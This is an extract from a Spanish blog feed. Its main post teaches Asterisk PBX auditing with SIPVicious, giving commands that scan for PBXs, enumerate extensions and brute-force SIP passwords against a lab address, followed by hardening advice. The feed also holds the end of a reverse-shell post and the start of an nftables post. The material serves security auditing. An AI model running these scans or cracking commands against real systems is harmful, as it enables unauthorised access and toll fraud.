Visto esto, podemos deducir que aunque el recurso en parte puede ser valioso para según que casos; también tenemos la pega de que el método es una vía que puede brindar acceso a gente no grata; acceso que en caso de haberse realizado como usuario root, significaría nuestro fin...&lt;br /&gt;
&lt;br /&gt;
Desgraciadamente para este caso concreto no hay una forma efectiva de blindarnos... Cualquier cortafuegos que intentemos poner para nuestras conexiones salientes puede limitar nuestro sistema. Supongamos que bloqueamos las conexiones salientes... Bloqueamos todas? Bloqueamos las conexiones con estado &quot;new&quot;? No es factible... En caso de querer bloquear puertos... Cuales bloquear? Por mucho que se bloqueen varios puertos, siempre tiene que haber alguno abierto, y dicho puerto se puede usar para realizar el reverse.&lt;br /&gt;
&lt;br /&gt;
La única solución posible es intentar tener el sistema actualizado, no abrir correos sospechosos (en caso de sistemas de escritorio) y sobre todo, intentar siempre que se pueda, instalar los paquetes desde los repositorios oficiales vía APT... Es cierto que los repositorios no tienen todo, pero en un gran número de casos cumplen su función sin tener que recurrir a páginas de terceros... Es cierto que como siempre digo la seguridad absoluta no existe y que a veces aún cuando se toman todas estas medidas de seguridad pueden no servir... Un simple USB o un descuido puede hacer que esto ocurra, pero nunca está de más intentar, al menos, no poner las cosas fáciles a aquellos que nos quieren atacar.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/5110548532027913893/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/10/reverse-shell.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/5110548532027913893'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/5110548532027913893'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/10/reverse-shell.html' title='Reverse shell, una curiosa y al mismo tiempo peligrosa técnica'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjveFx3ir-gC22lXnp94Y7lvG9iRTNu01Y4Bh1jEfsxWFhFduKia7StYS7O4S-TZxbieLl_Uo3yGOJBjIQ1VvcbIlAkX8Dt_O1GlFrYSHb9rM6jYbd0m88Yr_3NCGZ-eO_Y3uFGsnF4D4cE/s72-c/Reverseshell.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-8586766927752979666</id><published>2019-10-07T08:07:00.000+02:00</published><updated>2019-10-07T08:07:24.337+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Asterisk"/><category scheme="http://www.blogger.com/atom/ns#" term="Firewall"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Auditar nuestra centralita Asterisk con SIPVicious</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Siempre que se piensa en el concepto de la seguridad, se parte del concepto: Mínima superficie de exposición, mínimo privilegio posible. Concepto que si bien es importante, no implica que un servicio sea inexpugnable, pues si bien siempre se intenta que un servicio no sea accesible desde lugares indeseados, hay ciertos servicios tales como páginas web o centralitas de &lt;b&gt;Asterisk&lt;/b&gt;, que tienen que tener cierta flexibilidad. Esa flexibilidad nos ofrece ciertas ventajas, pero al mismo tiempo pueden ser posibles objetivos de ataques no deseados... Ataques que siempre conviene tener en cuenta.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhIw39fmO627hID8OEj8JkiAiSWMDci2zdONTdhrfbS4kfzZIG6m-FfX54rT2Gxc5z39ONKKjMd3r-ydQShOGFr4O4RW6LzvE489DA9r4DZUQxkYye16ei4cduECjD_yJz6KLEwvo2c7Q2/s1600/sipvicious_portada.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;sipvicious&quot; border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;400&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhIw39fmO627hID8OEj8JkiAiSWMDci2zdONTdhrfbS4kfzZIG6m-FfX54rT2Gxc5z39ONKKjMd3r-ydQShOGFr4O4RW6LzvE489DA9r4DZUQxkYye16ei4cduECjD_yJz6KLEwvo2c7Q2/s200/sipvicious_portada.png&quot; title=&quot;sipvicious&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Es por ello que hay algunas herramientas que nos pueden ayudar a realizar auditorías sobre nuestras centralitas de Asterisk, y que pueden servirnos para &quot;poner a prueba&quot; nuestro sistema; ya que nos ayuda a prevenirnos de ataques reales que pueden ser muy dañinos. Supongamos que alguien se hace con el control de una extensión telefónica capaz de hacer llamadas internacionales; en muy poco tiempo el coste económico de la medida sería brutal. Es por ello que mediante estas herramientas podemos hacernos una idea de las fortalezas y debilidades de nuestra PBX. Hay múltiples herramientas, pero la más popular sería &lt;b&gt;SIPVicious&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
SIP Vicious es una herramienta de software libre muy extendida que incluso está incluida hoy en día dentro de la archi-conocida distribución Kali. Para poder utilizarla, esta utilidad usa por defecto el puerto 5060 para escuchar los mensajes de respuesta, a menos que esté en uso por nuestro propio Asterisk u otro servicio, en cuyo caso usaría el siguiente puerto que esté libre (5061,5062...); con lo que es importante tener esos puertos abiertos en el equipo atacante si queremos poder recibir los mensajes de respuesta.&lt;br /&gt;
&lt;br /&gt;
La utilización es muy sencilla, y solamente requiere tener &lt;b&gt;python &lt;/b&gt;instalado (el cual ya viene pre-instalado la gran mayoría de las veces) y si caso la herramienta &lt;a href=&quot;https://bytelearning.blogspot.com/2015/07/guia-rapida-de-git.html&quot;&gt;git&lt;/a&gt;, si bien no es necesario al 100%, nunca viene mal tenerla instalada. En caso de no utilizar git, sí que sería necesario descargarnos la herramienta &lt;b&gt;zip&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Para descargar la aplicación, siempre y cuando no se use Kali que ya la incluye por defecto, la cual se encuentra Github, se puede hacer desde la consola de dos formas; o bajando el fichero comprimido o vía git:&lt;br /&gt;
&lt;br /&gt;
Vía git:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;git clone https://github.com/EnableSecurity/sipvicious.git&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Vía directa:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;wget https://github.com/EnableSecurity/sipvicious/archive/master.zip
unzip master.zip&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Cualquiera de estos procedimientos dará como resultado una carpeta que puede llamarse sipvicious en caso de usar git, o sipvicious-master, pero independientemente del nombre ambos tienen el mismo contenido, dentro del cual el que nos interesa es el que se encuentra dentro de la subcarpeta sipvicous. Dicha carpeta tiene diferentes programas escritos en python, dentro de los cuales, 3 serían los que principalmente nos interesarían: &lt;b&gt;svmap.py svwar.py&lt;/b&gt; y &lt;b&gt;svcrack.py&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
La primera herramienta, &lt;b&gt;svmap.py&lt;/b&gt;, sería la que usaríamos para escanear un rango de IPs a nuestra elección, junto con sus respectivos puertos con el fin de ver si se encuentra alguna que dé como respuesta alguna PBX, como por ejemplo Asterisk. Dicho escaneo usaría la sintaxis:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;svmap&lt;span style=&quot;color: #575757; font-weight: bold;&quot;&gt;.&lt;/span&gt;py &lt;span style=&quot;color: #939393;&quot;&gt;-p&lt;/span&gt; puerto_inicio-puerto_fin IP_inicio-IP_fin -m opciones
&lt;/pre&gt;
&lt;br /&gt;
El puerto sería opcional, y se podría poner un puerto únicamente si se desea; en caso de no usar ninguno, se usaría el puerto standard SIP, 5060. Con respecto a la IP que se desea escanear, se puede poner&amp;nbsp; una sola o un rango de IPs, dependiendo de nuestras necesidades. En caso de querer testear solamente nuestro equipo, solamente con una IP sería suficiente...&lt;br /&gt;
&lt;br /&gt;
En el apartado opciones, es opcional usarlo, pero una opción muy común sería la de INVITE, ya que es mensaje que se envía a una PBX cuando un usuario se desea registrar. Un comando de ejemplo podría ser:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;./svmap.py -p 5060 192.168.1.102 -m INVITE&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Esto nos puede dar como resultado o bien un resultado nulo, que sería lo deseable, o bien que nos dé información de la PBX, incluyendo la versión que usa el equipo contrario. Por ejemplo, usando dicho comando contra mi Asterisk, me ha dado como resultado:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcIJKpCamtvEEs5a2jA_hrE2wkEPWRVIOCcvqNvNkb5L-gsi94TrjcQlE2TvzHzp8nUNYXDUIxKyhXX8Ed0eyKuIcAPMYk8Ewh-w4HqkUWCtLzmsxIgDC1yEWpPKD7vsT5tmFzckuNzzv1/s1600/svmap_ejemplo.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;svmap_ejemplo&quot; border=&quot;0&quot; data-original-height=&quot;57&quot; data-original-width=&quot;517&quot; height=&quot;35&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcIJKpCamtvEEs5a2jA_hrE2wkEPWRVIOCcvqNvNkb5L-gsi94TrjcQlE2TvzHzp8nUNYXDUIxKyhXX8Ed0eyKuIcAPMYk8Ewh-w4HqkUWCtLzmsxIgDC1yEWpPKD7vsT5tmFzckuNzzv1/s320/svmap_ejemplo.PNG&quot; title=&quot;svmap_ejemplo&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
En caso de que se muestre este mensaje en nuestra centralita, lo ideal sería intentar ocultarlo lo antes posible, pues esto nos brinda dos datos a nuestro atacante. El primero es que el puerto 5060 tiene un Asterisk asociado, lo cual es susceptible a ataques, pero no solo eso, sino que además nos brinda la versión de éste, que puede ser más peligroso aún, ya que si uno conoce la versión de software que uno usa, puede buscar vulnerabilidades asociadas a dicha versión, que puede hacer innecesario el utilizar ataques de fuerza bruta contra la centralita.&lt;br /&gt;
&lt;br /&gt;
Supongamos que hemos recibido el mensaje anterior, lo que pasaríamos a hacer ahora sería a intentar ver qué extensiones están &quot;disponibles&quot; en nuestro objetivo. Esto lo lograríamos mediante la segunda utilidad: &lt;b&gt;svwar.py&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
La utilidad svwar, es una utilidad muy simple que se dedica a mandar peticiones de registro contra la centralita objetivo. Si la PBX devuelve un mensaje &quot;No matching peer found&quot; o no respondiese, consideraría que no hay una extensión asociada, pero en caso de que considerase que la contraseña introducida para el registro, no es correcta, interpretaría que SÍ que hay una extensión, extensión contra la que se podría intentar hacer un ataque de fuerza bruta. La sintaxis es extremadamente simple en este caso:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;svwar&lt;span style=&quot;color: #575757; font-weight: bold;&quot;&gt;.&lt;/span&gt;py &lt;span style=&quot;color: #939393;&quot;&gt;-e&lt;/span&gt; extension_inicio-extension_fin IP
&lt;/pre&gt;
&lt;br /&gt;
Teniendo en cuenta que las extensiones, generalmente son de entre 3 y 4 dígitos, un ejemplo contra la PBX que tengo de pruebas podría ser:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;./svwar.py -e000-9999 192.168.1.102&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Hay que tener en cuenta que a mayor el rango de extensiones, mayor el tiempo invertido. A modo de curiosidad, si tenemos una sesión de consola de Asterisk abierta en la máquina objetivo (el clásico asterisk -rvvvv), veremos un sin fin de mensajes parecidos a este; un mensaje por cada extensión no existente:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOik9-Di8UuSdNEU3oWx0-aUphoEhDOGHFtxw6uZ45JF8KeJJyyPqRB7y3kB4g0KoaKr6NpCQCOLWw8PptRHncyIcFkE0LMI7_tikUBCFnMRADII6j-dLGFfTlOeM0y2FcnkNztPdXxTrE/s1600/svwar_ejemplo.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;svwar_ejemplo1&quot; border=&quot;0&quot; data-original-height=&quot;235&quot; data-original-width=&quot;1137&quot; height=&quot;66&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOik9-Di8UuSdNEU3oWx0-aUphoEhDOGHFtxw6uZ45JF8KeJJyyPqRB7y3kB4g0KoaKr6NpCQCOLWw8PptRHncyIcFkE0LMI7_tikUBCFnMRADII6j-dLGFfTlOeM0y2FcnkNztPdXxTrE/s320/svwar_ejemplo.PNG&quot; title=&quot;svwar_ejemplo1&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Al acabar el barrido, en caso de que alguna extensión le haya respondido a la herramienta, tendremos un resultado parecido al siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8wKSxzEL6SKij6CuJYJvEDq8T1F_c5IjlbxjEJ8S1D1jim6XkHbZWu99URrtYBgb-DSA3seiZCX3tJhk0fL11xKmf3oZFW6gG5saTjFol5D7-DvO-V6aIYq7aqlP_z62oDePeCFDmM2yz/s1600/svwar_ejemplo2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;svwar_ejemplo2&quot; border=&quot;0&quot; data-original-height=&quot;48&quot; data-original-width=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8wKSxzEL6SKij6CuJYJvEDq8T1F_c5IjlbxjEJ8S1D1jim6XkHbZWu99URrtYBgb-DSA3seiZCX3tJhk0fL11xKmf3oZFW6gG5saTjFol5D7-DvO-V6aIYq7aqlP_z62oDePeCFDmM2yz/s1600/svwar_ejemplo2.PNG&quot; title=&quot;svwar_ejemplo2&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ya sabemos todo lo que necesitábamos saber; sabemos que la IP 192.168.1.102, tiene un Asterisk montado en el puerto 5060 y además sabemos que hay una extensión 1001, configurada en dicha centralita. Solo queda usar la tercera herramienta mencionada antes, &lt;b&gt;svcrack.py&lt;/b&gt; para intentar obtener, si se puede, la contraseña.&lt;br /&gt;
&lt;br /&gt;
Los ataques aquí se pueden hacer de dos formas, o bien a fuerza bruta mediante dígitos, o bien vía diccionario. En caso de hacerlo mediante fuerza bruta, lo que se haría sería probar diferentes combinaciones numéricas hasta acertar con el número. En caso de que en cambio se optasen por un ataque de diccionario, se tendría que tener el diccionario, en formato txt y se recurriría a él para hacer el ataque; por ejemplo, para el ataque por fuerza bruta haríamos:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;./svcrack.py -u 1001 -r 0000-9999 192.168.1.102&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Donde después del -u se especificaría la extensión que se desea &quot;atacar&quot; y después del -r especificaríamos el rango de números a utilizar como contraseña. En este caso se ha usado una contraseña débil, y desgraciadamente bastante común; la cual ha tardado apenas unos segundos en descifrar la herramienta:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3DVt8opgk1SHOgfz89su4wQLunOznnSnf7o7X6k4PjYabEJR1uIo7I6WI5SXW72QXkltdJ8vwMCimfhyphenhyphenv9PE-wLNYY4puY4OjOj7hc7uY0ZqzaM_jAIuHmWTbLB28TFtFfxx-eLqWX-bd/s1600/svcrack.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;svcrack_ejemplo&quot; border=&quot;0&quot; data-original-height=&quot;58&quot; data-original-width=&quot;173&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3DVt8opgk1SHOgfz89su4wQLunOznnSnf7o7X6k4PjYabEJR1uIo7I6WI5SXW72QXkltdJ8vwMCimfhyphenhyphenv9PE-wLNYY4puY4OjOj7hc7uY0ZqzaM_jAIuHmWTbLB28TFtFfxx-eLqWX-bd/s1600/svcrack.PNG&quot; title=&quot;svcrack_ejemplo&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Para el ataque de diccionario en cambio, en vez de usar el parámetro -r, usaríamos el parámetro -d, seguido del diccionario que querríamos usar.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;svcrack.py -u 1001 -d diccionario.txt 192.168.1.102&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Mediante dicho método, el tiempo que tardaría en descifrar la contraseña variaría, pero en caso de usar contraseñas alfanuméricas, sería el único método posible.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;COMO EVITARLO&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Como siempre digo, la seguridad absoluta no existe, pero es cierto que al menos hay que intentar ponérselo difícil al atacante; es por ello que las dos primeras que hemos utilizado, para encontrar centralitas Asterisk, y para rastrear extensiones en la susodicha, se pueden evitar añadiendo una sola línea en el fichero&amp;nbsp;&lt;b&gt;/etc/asterisk/sip.conf&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;alwaysauthreject&lt;span style=&quot;color: #555555;&quot;&gt;=yes&lt;/span&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Dicho parámetro en &lt;b&gt;Asterisk 16&lt;/b&gt; ya está habilitado por defecto (sin tener que siquiera añadir nada al fichero de configuración), pero en la gran mayoría de versiones no es así, con lo que es ideal ponerlo a mano en el fichero con el fin de estar seguros.&lt;br /&gt;
&lt;br /&gt;
Al establecer un valor yes a dicho parámetro, lo que haríamos sería denegar la la respuesta a las autenticaciones de usuarios incorrectos o inexistentes, cosa que se hace mediante las herramientas svmap y svwar... Puede parecer un detalle sin importancia pero mediante la combinación de dicha media, junto con el uso de un puerto SIP no estandard (a poder ser un número de puerto muy alto), nos quitaríamos de un barrido el 90% de los scripts automatizados que se dedican a hacer barridos y ataques automáticos a los puertos 5060.&lt;br /&gt;
&lt;br /&gt;
Eso no implica que mediante esto hagamos inmune a nuestra centralita, pero sí que evitaremos dar información al atacante, lo que hará que éste no empiece a hacer ataques de fuerza bruta contra una extensión nuestra centralita SIP, a menos que haya obtenido la información por otros medios.&lt;br /&gt;
&lt;br /&gt;
Para los ataques de fuerza bruta que se hagan contra la extensión, solamente se pueden dar dos recomendaciones; la primera muy sencilla de implementar, la segunda ya depende de los medios que uno disponga.&lt;br /&gt;
&lt;br /&gt;
La primera medida sería la obvia, usar contraseñas seguras para nuestras extensiones. A poder ser largas y alfanuméricas; es más al usar contraseñas alfanuméricas.&lt;br /&gt;
&lt;br /&gt;
La segunda medida sería, no compleja, pero sí requeriría un cierto esfuerzo por parte de uno, y sería el uso de utilidades tales como &lt;a href=&quot;https://bytelearning.blogspot.com/2015/03/fail2ban-proteccion-automatizada-para.html&quot;&gt;Fail2ban&lt;/a&gt;, que entre otras cosas pueden bloquear los intentos repetidos de conexión/autenticación contra un destino. Hay que tener en cuenta que los ataques de fuerza bruta o de diccionario realizan un número ingente de autenticaciones, con lo que si lo podemos evitar mediante dicha herramienta podremos, dificultarle en gran medida el ataque a nuestro agresor.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil, y que podáis sacarle partido a esta utilidad que puede ayudarnos a ver en si nuestra centralita esta debidamente protegida o no.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/8586766927752979666/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/10/auditar-asterisk-sipvicious.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/8586766927752979666'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/8586766927752979666'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/10/auditar-asterisk-sipvicious.html' title='Auditar nuestra centralita Asterisk con SIPVicious'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhIw39fmO627hID8OEj8JkiAiSWMDci2zdONTdhrfbS4kfzZIG6m-FfX54rT2Gxc5z39ONKKjMd3r-ydQShOGFr4O4RW6LzvE489DA9r4DZUQxkYye16ei4cduECjD_yJz6KLEwvo2c7Q2/s72-c/sipvicious_portada.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-842547917156385195</id><published>2019-10-01T13:34:00.002+02:00</published><updated>2020-06-17T10:30:56.537+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="Firewall"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Nftables, el sucesor de iptables</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La tecnología evoluciona constantemente, a veces a costa de imposiciones de ciertos criterios, y otros a costa de comparar los pros y los contras. &lt;b&gt;Iptables&lt;/b&gt; ha sido siempre el principal referente en el área de firewalls para Linux; es cierto que a raíz de ahí nacieron herramientas intuitivas que intentaban hacer un uso más fácil de éste, pero generalmente se usaba dicha tecnología como referencia. Obviamente, con el paso del tiempo, se han ido optando por diferentes alternativas, pero siempre intentando mantener iptables ahí, pero con la introducción de &quot;&lt;b&gt;Debian 10 (Buster)&quot;&lt;/b&gt; y las últimas versiones de Red Hat, se ha ido imponiendo su sucesor, considerando al veterano firewall como obsoleto. Hablamos de &lt;b&gt;nftables&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiifsU1VxiYQ90YFQTdZtcMjoWM2RVfYgmSiilyBOl7DaaYqMsC0QX34CCFSpzCq6W93Ybb9l7aBtZMv8DszFPNrbMafsg-1udce_rGstb3EbHUGbZkaf4XUBLKb2hJUScwCjongL1Cchj/s1600/nftables_portada.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;nftables_portada&quot; border=&quot;0&quot; data-original-height=&quot;582&quot; data-original-width=&quot;1335&quot; height=&quot;139&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiifsU1VxiYQ90YFQTdZtcMjoWM2RVfYgmSiilyBOl7DaaYqMsC0QX34CCFSpzCq6W93Ybb9l7aBtZMv8DszFPNrbMafsg-1udce_rGstb3EbHUGbZkaf4XUBLKb2hJUScwCjongL1Cchj/s320/nftables_portada.PNG&quot; title=&quot;nftables_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Nftables es un software creado por netfilter que podría considerarse como la evolución natural de nftables, que ha intentado adaptar la sintaxis a los nuevos tiempos, con el fin de que la escritura de las reglas de este software sea algo más intuitiva que la de su predecesor.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La dinámica que utilizar este software es bastante parecida a la de iptables, en el sentido de que tal y como ocurre con su predecesor,&amp;nbsp; nftables se divide por &lt;b&gt;tablas&lt;/b&gt;, las cuales tienen dentro &lt;b&gt;cadenas&lt;/b&gt;, dentro de las cuales se añaden las &lt;b&gt;reglas&lt;/b&gt;. En caso de haber usado iptables con anterioridad dichos conceptos os serán familiares, en caso contrario es importante tenerlos claros antes de continuar, ya que en caso contrario el entendimiento de la herramienta será muy difícil. Además es importante saber que las reglas de nftables se pueden definir o bien directamente en consola o bien mediante un fichero de configuración.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;TABLAS&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Las tablas están compuesta por una o varias cadenas; en iptables éstas seguían una lógica, ya que se agrupaban en cadenas de tipo &lt;b&gt;filter&lt;/b&gt;, &lt;b&gt;nat&lt;/b&gt; y &lt;b&gt;mangle&lt;/b&gt;; en nftables podemos hacer que nuestras tablas tengan las cadenas que queramos, pero lo ideal, en términos de gestión es que sigan una lógica parecida, aunque no es obligatorio. En resumen, una tabla no es más que una o a varias cadenas agrupadas bajo un nombre común desde el cual se hacer referencia a éstas.&amp;nbsp; Las tablas pueden tener el nombre que queramos, pero es importante tener en cuenta que éstas pertenecen a diferentes &lt;b&gt;familias&lt;/b&gt;, y que dependiendo del tipo, se tendrán en cuenta un tipo de paquete de red u otro:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;ip&lt;/b&gt;: La familia por defecto, en caso de que no le digamos nosotros otra cosa. Éste solamente tendrá en cuenta los paquetes de red IPv4.&lt;/li&gt;
